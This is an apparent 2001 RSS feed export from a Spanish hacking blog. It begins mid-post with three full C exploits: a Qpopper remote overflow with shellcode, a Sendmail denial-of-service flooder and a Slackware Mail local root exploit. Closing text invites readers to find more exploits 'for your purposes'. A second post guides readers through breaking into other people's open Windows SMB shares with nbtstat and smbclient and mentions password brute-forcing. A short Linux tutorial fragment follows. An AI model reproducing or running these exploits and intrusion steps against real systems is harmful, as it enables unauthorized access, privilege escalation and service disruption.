* <a href="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br />
*<br />
* By Zhodiac &lt;<a href="mailto:zhodiac@softhome.net">zhodiac@softhome.net</a>&gt;<br />
*<br />
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)<br />
* Overflow at pop_list()-&gt;pop_msg()<br />
*<br />
* Tested: 3.0beta28  offset=3D0<br />
*         3.0beta26  offset=3D0<br />
*         3.0beta25  offset=3D0<br />
*<br />
* #include &lt;standar/disclaimer.h&gt;<br />
*<br />
* This code is dedicated to my love [CrAsH]] and to all the people who<br />
* were raided in Spain in the last few days.<br />
*<br />
* Madrid 10/1/2000<br />
*<br />
*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#define BUFFERSIZE 1004<br />
#define NOP 0&#215;90<br />
#define OFFSET 0xbfffd9c4</p>
<p>char shellcode[]=3D<br />
&#8220;\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89&#8243;<br />
&#8220;\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh&#8221;;<br />
void usage(char *progname) {<br />
fprintf(stderr,&#8221;Usage: (%s &lt;login&gt; &lt;password&gt; [&lt;offset&gt;]; cat) | nc &lt;target&gt; 110&#8243;,progname);<br />
exit(1);<br />
}</p>
<p>int main(int argc, char **argv) {<br />
char *ptr,buffer[BUFFERSIZE];<br />
unsigned long *long_ptr,offset=3DOFFSET;<br />
int aux;</p>
<p>fprintf(stderr,&#8221;\n!Hispahack Research Team (<a href="http://hispahack.ccc.de)\n">http://hispahack.ccc.de)\n</a>&#8220;);<br />
fprintf(stderr,&#8221;Qpopper xploit by Zhodiac &lt;<a href="mailto:zhodiac@softhome.net&gt;\n\n">zhodiac@softhome.net&gt;\n\n</a>&#8220;);</p>
<p>if (argc&lt;3) usage(argv[0]);</p>
<p>if (argc=3D=3D4) offset+=3Datol(argv[3]);</p>
<p>ptr=3Dbuffer;<br />
memset(ptr,0,sizeof(buffer));<br />
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);<br />
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;<br />
memcpy(ptr,shellcode,strlen(shellcode));<br />
ptr+=3Dstrlen(shellcode);<br />
long_ptr=3D(unsigned long*)ptr;<br />
for(aux=3D0;aux&lt;4;aux++) *(long_ptr++)=3Doffset;<br />
ptr=3D(char *)long_ptr;<br />
*ptr=3D&#8217;\0&#8242;;</p>
<p>fprintf(stderr,&#8221;Buffer size: %d\n&#8221;,strlen(buffer));<br />
fprintf(stderr,&#8221;Offset: 0x%lx\n\n&#8221;,offset);</p>
<p>printf(&#8220;USER %s\n&#8221;,argv[1]);<br />
sleep(1);<br />
printf(&#8220;PASS %s\n&#8221;,argv[2]);<br />
sleep(1);<br />
printf(&#8220;LIST 1 %s\n&#8221;,buffer);<br />
sleep(1);<br />
printf(&#8220;uname -a; id\n&#8221;);</p>
<p>return(0);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end qpop exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para sendmail</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/*<br />
against.c &#8211; Another Sendmail (and pine <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  DoS (up to 8.9.2)<br />
(c) 1999 by &lt;<a href="mailto:marchew@linux.lepszy.od.kobiety.pl">marchew@linux.lepszy.od.kobiety.pl</a>&gt;</p>
<p>Usage: ./against existing_user_on_victim_host victim_host<br />
Example: ./against nobody lamers.net</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;stdarg.h&gt;<br />
#include &lt;errno.h&gt;<br />
#include &lt;signal.h&gt;<br />
#include &lt;getopt.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;</p>
<p>#define MAXCONN 5<br />
#define LINES   150000</p>
<p>struct hostent *hp;<br />
struct sockaddr_in s;<br />
int suck,loop,x;</p>
<p>int main(int argc,char* argv[]) {<br />
�<br />
printf(&#8220;against.c &#8211; another Sendmail DoS (up to 8.9.2)\n&#8221;);</p>
<p>if (argc-3) {<br />
printf(&#8220;Usage: %s victim_user victim_host\n&#8221;,argv[0]);<br />
exit(0);<br />
}<br />
�<br />
hp=3Dgethostbyname(argv[2]);<br />
�<br />
if (!hp) {<br />
perror(&#8220;gethostbyname&#8221;);<br />
exit(1);<br />
}</p>
<p>fprintf(stderr,&#8221;Doing mess: &#8220;);</p>
<p>for (;loop&lt;MAXCONN;loop++) if (!(x=3Dfork())) {<br />
FILE* d;<br />
bcopy(hp-&gt;h_addr,(void*)&amp;s.sin_addr,hp-&gt;h_length);<br />
s.sin_family=3Dhp-&gt;h_addrtype;<br />
s.sin_port=3Dhtons(25);<br />
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))&lt;0) perror(&#8220;socket&#8221;);<br />
if (connect(suck,(struct sockaddr *)&amp;s,sizeof(s))) perror(&#8220;connect&#8221;);<br />
if (!(d=3Dfdopen(suck,&#8221;w&#8221;))) { perror(&#8220;fdopen&#8221;); exit(0); }</p>
<p>usleep(100000);</p>
<p>fprintf(d,&#8221;helo tweety\n&#8221;);<br />
fprintf(d,&#8221;mail from: <a href="mailto:tweety@polbox.com\n">tweety@polbox.com\n</a>&#8220;);<br />
fprintf(d,&#8221;rcpt to: <a href="mailto:%s@%s\n&quot;,argv[1],argv[2">%s@%s\n&#8221;,argv[1],argv[2</a>]);<br />
fprintf(d,&#8221;data\n&#8221;);</p>
<p>usleep(100000);</p>
<p>for(loop=3D0;loop&lt;LINES;loop++) {<br />
if (!(loop%100)) fprintf(stderr,&#8221;.&#8221;);<br />
fprintf(d,&#8221;To: x\n&#8221;);<br />
}</p>
<p>fprintf(d,&#8221;\n\n\nsomedata\n\n\n&#8221;);</p>
<p>fprintf(d,&#8221;.\n&#8221;);</p>
<p>sleep(1);</p>
<p>fprintf(d,&#8221;quit\n&#8221;);<br />
fflush(d);</p>
<p>sleep(100);<br />
shutdown(suck,2);<br />
close(suck);<br />
exit(0);<br />
}</p>
<p>waitpid(x,&amp;loop,0);</p>
<p>fprintf(stderr,&#8221;ok\n&#8221;);</p>
<p>return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
**Para terminar uno de Slackware <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/begin mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/*<br />
* mail-slak.c (C) 2000 Paulo Ribeiro &lt;<a href="mailto:prrar@nitnet.com.br">prrar@nitnet.com.br</a>&gt;<br />
*<br />
* Exploit for /usr/bin/Mail.<br />
* Made specially for Slackware Linux 7.0.<br />
* Based on mailx.c by funkySh.<br />
*<br />
* OBS.: Without fprintf(stderr) is not possible to print the message.<br />
*<br />
* USAGE:<br />
* slack$ ./mail-slak<br />
* type &#8216;.&#8217; and enter: .<br />
* Cc: too long to edit<br />
* sh-2.03$ id<br />
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)<br />
*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;unistd.h&gt;</p>
<p>char buffer[10000];<br />
char shellcode[] =3D<br />
&#8220;\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31&#8243;</p>
<p>&#8220;\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1&#8243;</p>
<p>&#8220;\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76&#8243;</p>
<p>&#8220;\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89&#8243;</p>
<p>&#8220;\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&#8221;;</p>
<p>unsigned long getesp(void)<br />
{<br />
__asm__(&#8220;movl %esp,%eax&#8221;);<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
int x;<br />
long addr =3D getesp() &#8211; 18000;</p>
<p>memset(buffer, 0&#215;90, 10000);<br />
memcpy(buffer + 800, shellcode, strlen(shellcode));</p>
<p>for(x =3D 876; x &lt; 9998; x +=3D 4)<br />
*(int *)&amp;buffer[x] =3D addr;</p>
<p>fprintf(stderr, &#8220;type &#8216;.&#8217; and enter: &#8220;);</p>
<p>execl(&#8220;/usr/bin/Mail&#8221;, &#8220;/usr/bin/Mail&#8221;, &#8220;nobody&#8221;, &#8220;-s&#8221;,<br />
&#8220;blah&#8221;, &#8220;-c&#8221;, buffer, 0);<br />
}</p>
<p>/* mail-slack.c: EOF */</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/end mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Esto  solo ha  sido  una  muestra. Si  en  rootshell.com utilizais  la<br />
untilidad  search podreis  buscar  los exploits  relativos a  aquellos<br />
programas o servicios que os interesen para vuestros fines }:)).</p>
<p>Bueno&#8230;ya esta  bien por esta  entrega. La proxima nos  dedicaremos a<br />
conseguir  privilegios de  root desde  un  acceso local  y a  preparar<br />
nuestras herramientas.</p>
<p>Antes de terminar&#8230;ni se os ocurra intentar entrar en ninguna maquina<br />
remota en  plan novato apenas sabiendo cuatro  cosas, porque dejariais<br />
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que<br />
avancemos  os  dire  algunas  cosillas  fundamentales  para  ser  casi<br />
invisible&#8230;pero  no todavia.  Por  ultimo, aunque  no quiero  meteros<br />
mucha  tela, existen una  serie de  escaners que  auditan redes  y que<br />
delatan  diversos  fallos de  seguridad  y vulnerabilidades.  Anta=F1o<br />
estaba sscan, pero ahora es  mucho mejor usar saint o nessus&#8230;pero ya<br />
os dire como.</p>
<p>Tened cuidado ahi dentro ;-P</p>
<p>�<br />
&#8212;&#8212;&#8212;&#8212;&#8211;2EC61C705517942E3D414456&#8211;</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recursos compartidos</title>
		<link>http://www.hackindex.com/index.php/2001/06/recursos-compartidos/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/recursos-compartidos/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:13:48 +0000</pubDate>
		<dc:creator>CrinO</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[crino]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[nbtscan]]></category>
		<category><![CDATA[nbtstat]]></category>
		<category><![CDATA[netbeui]]></category>
		<category><![CDATA[netbios]]></category>
		<category><![CDATA[recursos compartidos]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=230</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Recursos compartidos Autor: CrinO Tema: Acceso a las cosas remotas La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Recursos compartidos<br />
Autor: CrinO<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Hola a todos, en este corto articulo voy a tratar de una forma casi practica los recursos compartidos de Microsoft (este articulo esta basado en una respuesta que di en las news), con una breve introduccion teorica, si despierta interes (y alguien se anima ;-P) mas adelante se puede dedicar otro capitulo a &#8220;destripar&#8221; el funcionamiento de los protocolos NetBios y NetBeui (estoy en ello <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ).</p>
<p>Caso Primero: SIN CONTRASEÑA</p>
<p>DESDE WINDOWS:</p>
<p>¿Que se puede hacer?, bueno, lo contare como si operasemos desde otro guindos.</p>
<p>Antes de hacer nada, deberemos de activar nuestro cliente de NetBIOS, lo cual lo haremos dirigiendonos al Menu de inicio&#8211;&gt;Configuracion&#8211;&gt;Panel de control&#8211;&gt;Red Una vez que estamos en la ventana de red, daremos a &#8220;agregar&#8221; y seleccionamos &#8220;cliente&#8221; y de la ventana de los clientes disponibles seleccionamos &#8220;Cliente para redes Micrisoft&#8221;. Daremos ha aceptar cuantas veces requiera (lo mismo nos pide el CD de Windows) y lo terminamos de instalar. Con esto ya tendremos todas las herramientas que necesitamos. Notese que no hemos instalado el servicio, ya que seriamos vulnerables a ataques del tipo aqui descrito y a los diversos nukes.</p>
<p>Lo primero que hacemos es abrir una ventana de MS-DOS, y ejecutamos el comando nbtstat, que por su nombre os podeis imaginar para que sirve.</p>
<p>c:\&gt; nbtstat -A IP (donde IP es la ip del ordenador objetivo)</p>
<p>NetBios Remote Machine Name Table</p>
<p>Name type status<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>PARDILLO &lt;00&gt; UNIQUE Registered<br />
PARDILLOGROUP &lt;00&gt; GROUP Registered<br />
PARDILLO &lt;03&gt; UNIQUE Registered<br />
PARDILLO &lt;20&gt; UNIQUE Registered<br />
PARDILLOGROUP &lt;1E&gt; GROUP Registered<br />
PEPITO &lt;00&gt; UNIQUE Registered<br />
PEPITO &lt;1D&gt; UNIQUE Registered<br />
..__MSBROWSE__.. &lt;01&gt; GROUP Registered<br />
PEPITO &lt;03&gt; UNIQUE Registered</p>
<p>MAC Address = loquesea</p>
<p>Bueno, ahora y antes de nada pasare a explicar por encima que significa cada campo de esta tabla:</p>
<p>&lt;00&gt; UNIQUE: Quieren decir que la maquina tiene activado el cliente para NetBIOS, y que su nombre NetBIOS es el que pone en el campo Name, en este caso es PARDILLO.</p>
<p>&lt;00&gt; GROUP: Indica el Dominio o Grupo de trabajo.</p>
<p>&lt;03&gt; UNIQUE: Este tipo significa que el servicio de mensajeria esta activo (Messeger Service), os suenan los mensajes emerjentes (Win Popup)?, pues es eso. En las maquinas Win9x esta activo por defecto, por eso aparece el nombre Netbios de la maquina hay tambie, pero si nos fijamos mas abajo, tambien aparece con el nombre del usuario conectado en ese momento.</p>
<p>&lt;20&gt; UNIQUE: Este tipo nos indica que tiene el File Server Service activo, o sea esta compartiendo archivos e impresoras, bueno, que tiene el servicio activo, aunque se puede dar el caso de que no comparta nada.</p>
<p>&lt;1E&gt; GROUP: Quiere decir que tiene activado el servicio Browser Service Elections, este servicio se encarga de negociar quien va ha ser el Master Browser del Dominio o Grupo.</p>
<p>&lt;1D&gt; UNIQUE: Indica que esta configurado para ser el Master Browser, que es como quien dice, el encargado de recoger los nombres NetBIOS de los equipos de su Grupo.</p>
<p>&lt;01&gt; GROUP: Indica que posee el estatus de Master Browser en su Grupo de Trabajo y esta marcado con __MSBROWSE__. Esta particularidad es muy util para conseguir informacion del resto de la red, ya que el mantiene, como Master Browser que es, una tabla con todos los nombres NetBIOS de su Grupo de Trabajo y las direcciones IP que les corresponde.</p>
<p>&lt;1C&gt; GROUP: Indica que la maquina es controlador de dominio, bien un PDC o BDC, logicamente, solo veremos este campo en Win NT server o en Samba Server.</p>
<p>&lt;1B&gt; GROUP: Nos indica el nombre del Domain-Controler del que depende.</p>
<p>Hay mas tipos de campos, eso tengo entendido, pero a dia de hoy yo conozco estos.</p>
<p>Pues bien, como hemos visto tras el analisis de la tabla, los campos &lt;00&gt; UNIQUE y &lt;20&gt; UNIQUE nos muestran el nombre NetBIOS de la maquina, en este caso PARDILLO, y en las etiquetas &lt;03&gt; UNIQUE,que aparecen mas abajo, vemos el usuario que esta en el ordenador y donde pone &lt;00&gt; GROUP es el del grupo de trabajo/dominio en el que se ubica la maquina.</p>
<p>¿Que sacamos de aqui?, pues que tenemos el nombre netbios de la maquina, el grupo de trabajo en el que esta, quien lo usa y que comparte recursos.</p>
<p>Siguiente:</p>
<p>Editamos el archivo LMHOSTS, que esta en c:\windows y le añadimos a ip y el nombre de la maquina que hemos obtenido. Si no sabeis el formato del archivo LMHOSTS, editad el LMHOSTS.sam que es un ejemplo (tambien esta en el directorio windows).</p>
<p>Ahora ejecutamos ntbstat -R, para que cargue el nuevo LMHOST.</p>
<p>Seguimos, vamos a ver que es lo que comparte la maquina PARDILLO:</p>
<p>c:\&gt; net view \\PARDILLO</p>
<p>y nos saldra todo los recursos compartidos que tenga activos.</p>
<p>Hemos de notar aqui, como se comento antes, que aunque vieramos el Servidor de ficheros activo, podria darse el caso de que no tenga nada compartido.</p>
<p>Y ahora que ya sabemos los nombres de los recursos compartidos ya podemos utilizarlos <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> , simplemente:</p>
<p>c:\&gt; dir \\PARDILLO\cartas</p>
<p>y nos dira todo lo que hay en el recurso &#8220;cartas&#8221;, por ejemplo copy, o del, o type, lo que os de la gana, ya que en este caso, si no tiene contraseña, no nos pedira autentificacion.</p>
<p>Hasta aqui bien, hemos supuesto que el objetivo tambien es una maquina Win9X pero si es una maquina Win NT?, pues segun maneja NT el protocolo NetBIOS no nos dejaria entrar, ya que no corresponde el usuario que nuestro ordenador le facilita con ninguno de su base de datos de seguridad. Para ello utilizaremos el usuario que nos facilito el comando netstat y esta vez no nos quedara mas remedio que montar la unidad de red de la siguiente manera:</p>
<p>c:\&gt; net use d: \\PARDILLO\cartas /USER:dominio\usuario</p>
<p>Donde en este caso he utilizado la unidad &#8220;d&#8221;, pero podeis utilizar cualquier letra que tengais libre.</p>
<p>El parametro que hemos dado &#8220;/USER:dominio\usuario&#8221; sirve para especificar con que usuario nos conectamos, normalmente el campo &#8220;dominio&#8221; os lo saltareis, pero habra veces que sin el no deje conectarse. Es buena idea utilizar lo que aparecia en el netstat como grupo en este campo. En &#8220;usuario&#8221; pondremos el usuario anteriormente citado.</p>
<p>¿y porque no &#8220;conectarse a unidad de red&#8221;? pensara alguno, pues porque si lo hacemos asi apareceremos en el monitor de red, y supongo que no es agradable ¿verdad? X&#8217;DDD, en el caso del NT, deberemos correr el riesgo (¿o quiza no?).</p>
<p>DESDE LINUX:</p>
<p>Bueno, realizar la conexion desde Linux, viene a ser el mismo procedimiento pero usando distintos comandos. Antes de nada, debereis tener instalado el paquete &#8220;Samba&#8221;, el cual nos permite la conectividad con el protocolo NetBIOS sobre IP, ademas de que como servidor es excelente, segun lo veo yo. Tambien necesitareis el &#8220;nbtscan&#8221;, es un programa muy util, que hace la funcion del netstat de MS-DOS, pero contando con mas mejoras.</p>
<p>Empezaremos por averiguar el nombre NetBIOS del la IP que es nuestro objetivo y su grupo de trabajo, y de paso sacaremos mas datos de interes.</p>
<p>Para ello haremos lo siguiente desde una consola:</p>
<p>[crino@CrinO]$ nbtscan -vh IP<br />
Doing NBT name scan for adresses from IP</p>
<p>NetBIOS Name Table for Host IP:</p>
<p>Name Service Type<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
PARDILLO Workstation Service<br />
PARDILLOGROUP Domain Name<br />
PARDILLO Messenger Service<br />
PARDILLO File Server Service<br />
PARDILLOGROUP Browser Service Elections<br />
PARDILLO Messenger Service</p>
<p>Adapter address: la mac que sea<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Como vemos, en este caso, el nbscan, con la opcion -h (human readable) nos ayuda a interpretar cada cosa.</p>
<p>El campo &#8220;Workstation Service&#8221;, es el campo que con el netstat de MS-DOS veiamos como &lt;00&gt; UNIQUE, para ver la tabla en ese formato solo tenemos que llamar a nbtscan sin la opcion -h, y este campo es el nombre NetBIOS que buscabamos como se comento antes. Tambien hemos de notar, que el tipo &lt;03&gt; UNIQUE que hay al final y que nbtscan nos muestra como &#8220;Messeger Service&#8221;, es el nombre del usuario conectado a la maquina, para ver esto mas claramente sera suficiente con que hagamos:</p>
<p>[crino@CrinO]$ nbtscan IP<br />
Doing NBT name scan for adresses from IP</p>
<p>IP address NetBIOS Name Server User MAC address<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
IP PARDILLO PARDILLO La MAC que sea</p>
<p>Como vemos, en este caso coinciden el nombre de la maquina y el usuario conectado, esto pasa cuando no se han definido usuarios en un Win/9x, pero que si los hubiera, probablemente no coincidirian.</p>
<p>Como podemos observar, el nbtscan nos indica que tiene el servidor de ficheros activado, pues observamos &#8220;File Server Service&#8221; (&lt;20&gt; UNIQUE), entonces seguramente estara compartiendo algo, ahora pasemos a ver que comparte, para ello usaremos el cliente en modo texto del paquete Samba, que se asimila mucho a un cliente FTP:</p>
<p>[crino@CrinO]$ smbclient -L //PARDILLO -I IP<br />
SSL: Error error setting CA cert locations: error:00000000::lib(0) :func(0) :reason(0)<br />
trying default locations.<br />
added interface ip=10.10.10.10 bcast=10.10.10.127 nmask=255.255.255.240<br />
added interface ip=192.168.100.1 bcast=192.168.100.255 nmask=255.255.255.0<br />
Got a positive name query response from 10.10.10.11 ( 10.10.10.11 )<br />
Password:</p>
<p>Sharename Type Comment<br />
&#8212;&#8212;&#8212; &#8212;- &#8212;&#8212;-<br />
C Disk<br />
IPC$ IPC Comunicaci&#8221;n remota entre procesos</p>
<p>Server Comment<br />
&#8212;&#8212;&#8212; &#8212;&#8212;-</p>
<p>Workgroup Master<br />
&#8212;&#8212;&#8212; &#8212;&#8212;-<br />
PARDILLOGROUP PARDILLO</p>
<p>Ya tenemos todos los datos necesarios, sabemos como se llama, su IP, su Grupo/Dominio y que comparte, ya podemos intentar conectarnos, para lo cual usaremos de nuevo el smbclient:</p>
<p>[root@CrinO /root]# smbclient //PARDILLO/c<br />
SSL: Error error setting CA cert locations: error:00000000::lib(0) :func(0)<br />
:reason(0)<br />
trying default locations.<br />
added interface ip=10.10.10.10 bcast=10.10.10.127 nmask=255.255.255.240<br />
added interface ip=192.168.100.1 bcast=192.168.100.255 nmask=255.255.255.0<br />
Password:<br />
smb: \&gt;</p>
<p>Y ya estamos dentro, cuando el smbclient nos pida la password, simplemente daremos al intro, tambien si le expecificamos el parametro -N no nos pedira la pass. El manejo del cliente es similar a un cliente de ftp, para mas informacion &#8220;man smbclient&#8221;.</p>
<p>Una vez aqui, volvemos a lo de antes, el caso de que sea un NT y no un win9x, lo cual requerira que le especifiquemos el usuario y Dominio (o Grupo de Trabajo):</p>
<p>[root@CrinO /root]# smbclient //PARDILLO/c -U PARDILLO -W PARDILLOGROUP<br />
SSL: Error error setting CA cert locations: error:00000000::lib(0) :func(0)<br />
:reason(0)<br />
trying default locations.<br />
added interface ip=10.10.10.10 bcast=10.10.10.127 nmask=255.255.255.240<br />
added interface ip=192.168.100.1 bcast=192.168.100.255 nmask=255.255.255.0<br />
Password:<br />
smb: \&gt;</p>
<p>Como se observa facilmente, las opciones para especificar usuario y grupo son -U y -W respecticamente.</p>
<p>Caso Segundo:SIN CONTRASEÑA</p>
<p>En el caso de que los recursos se encuentren con contraseña, deberemos utilizar otras tecnicas para llegar al caso uno.</p>
<p>Para conseguir la contraseña podemos recurrir a gran cantidad de programas que corren por la red, los cuales lo unico que hacen como norma general es un ataque por fuerza bruta. Ejemplo de este tipo de programa es el CAIN.</p>
<p>Otra tecnica mas &#8220;sutil&#8221; y avanza, de la cual no es proposito este texto, es aplicar sniffing y spoofing, tecnicas que solo pueden ser utilizadas en escenarios muy concretos o es posible usar algun bug del proceso de autentificacion en el caso de win95/98, los cuales han sido ya documentados.</p>
<p>En el caso de Win NT/2000, podremos continuar intentando los clasicos ataques por fuerza bruta al recurso, o a la hora de sniffar usar un crackeador de MD5 por fuerza bruta, ya que este es el metodo de encriptacion que usa esta plataforma. Tambien hay que tener en cuenta que cuando tratamos con Dominios de NT, deberemos ser autentificados previamente por un PDC o BDC&#8230;aunque tambien hay documentos mas avanzados en la red que explican vulnerabilidades de estos procesos&#8230;pero eso es otra historia <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/recursos-compartidos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra IV</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:12:33 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=227</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra IV Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: La pantalla negra IV<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Y una vez más entramos en nuestro sistema. Vamos a ver que tipos de ficheros tenemos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>Linux Debian (Potatoe)Login: genaro<br />
password:<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>Vimos en un capítulo anterior, que con la órden &#8220;cat&#8221;, podemos ver el contenido de un fichero.</p>
